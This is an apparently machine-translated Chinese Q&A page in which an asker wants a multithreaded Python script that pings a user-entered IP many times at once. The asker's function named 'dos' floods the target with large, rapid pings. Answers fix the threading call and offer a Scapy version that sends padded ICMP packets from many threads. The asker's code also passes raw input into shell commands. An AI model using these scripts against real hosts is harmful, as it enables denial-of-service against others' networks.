2014-12-02 105 views
1

我一直在試圖做一個python腳本,會問你一個IP,並有許多同時我應該做的PING。Python多線程「ping」

但好像我只能一次運行一個PING

我在OSX運行

import _thread 
import os 
import time 

def main(): 

    threadnbr = 0 

    ip = str(input("Input the ip adresse to play with? ")) 
    threads = int(input("Have many threads? ")) 

    check(ip) 

    if check(ip) == 0: 
     print("It is up") 
    else: 
     print("Is is down") 

    thread(ip, threads, threadnbr) 

def thread(ip, threads, threadnbr): 

    while threads > threadnbr: 

     _thread.start_new_thread(dos(ip)) 

     threadnbr = threadnbr + 1 

    else: 
     print(threadnbr, " started") 

def check(ip): 

    response = os.system("ping -c 1 " + ip) 

    return response 

def dos(ip): 

    os.system("ping -i 0.1 -s 8000 " + ip) 
    print("1") 

main() 

回答

1
_thread.start_new_thread(dos(ip)) 

您沒有提供正確的參數在這裏 - 你的代碼運行在主線程中。有關更多詳情,請參閱the documentation

另外,您應該使用threading而不是thread。該模塊已被棄用。

如果dos的意思是DoS,我真誠地希望你爲了教育目的對你自己的基礎設施做這個。

+0

我學習的IT技術,以及我們對ICMP,所以是的,它是教育的目的。 但是,我應該寫程序嗎? – 2014-12-02 11:37:41

+0

@JesperPetersen你*可能*想寫'_thread.start_new_thread(dos,(ip,))' – goncalopp 2014-12-02 11:54:09

+1

我有沒有停止它呢? – 2014-12-02 12:08:00

1

您可以使用Scapy而不是使用內建ping。 這裏是一個多線程的ping它:

import threading 
from scapy.all import * 

def send_pkt(dst,padding=0): 
    pkt  = IP(dst=dst)/ICMP()/Padding('\x00'*padding) 
    ans,unans = sr(pkt) 
    ans.summary(lambda (s,r): r.sprintf("%IP.src% is alive")) 


def thread(dst, threads, threadnbr): 

    while threads > threadnbr: 
     t = threading.Thread(None, send_pkt, None, (dst,), {'padding':8000}) 
     t.start() 
     threadnbr = threadnbr + 1 
    else: 
     print(threadnbr, " started") 


def main(): 
    dst  = raw_input("Input the ip adresse to play with? ") 
    threads = int(raw_input("Have many threads? ")) 
    threadnbr = 0 

    send_pkt(dst) 

    thread(dst, threads, threadnbr) 

main()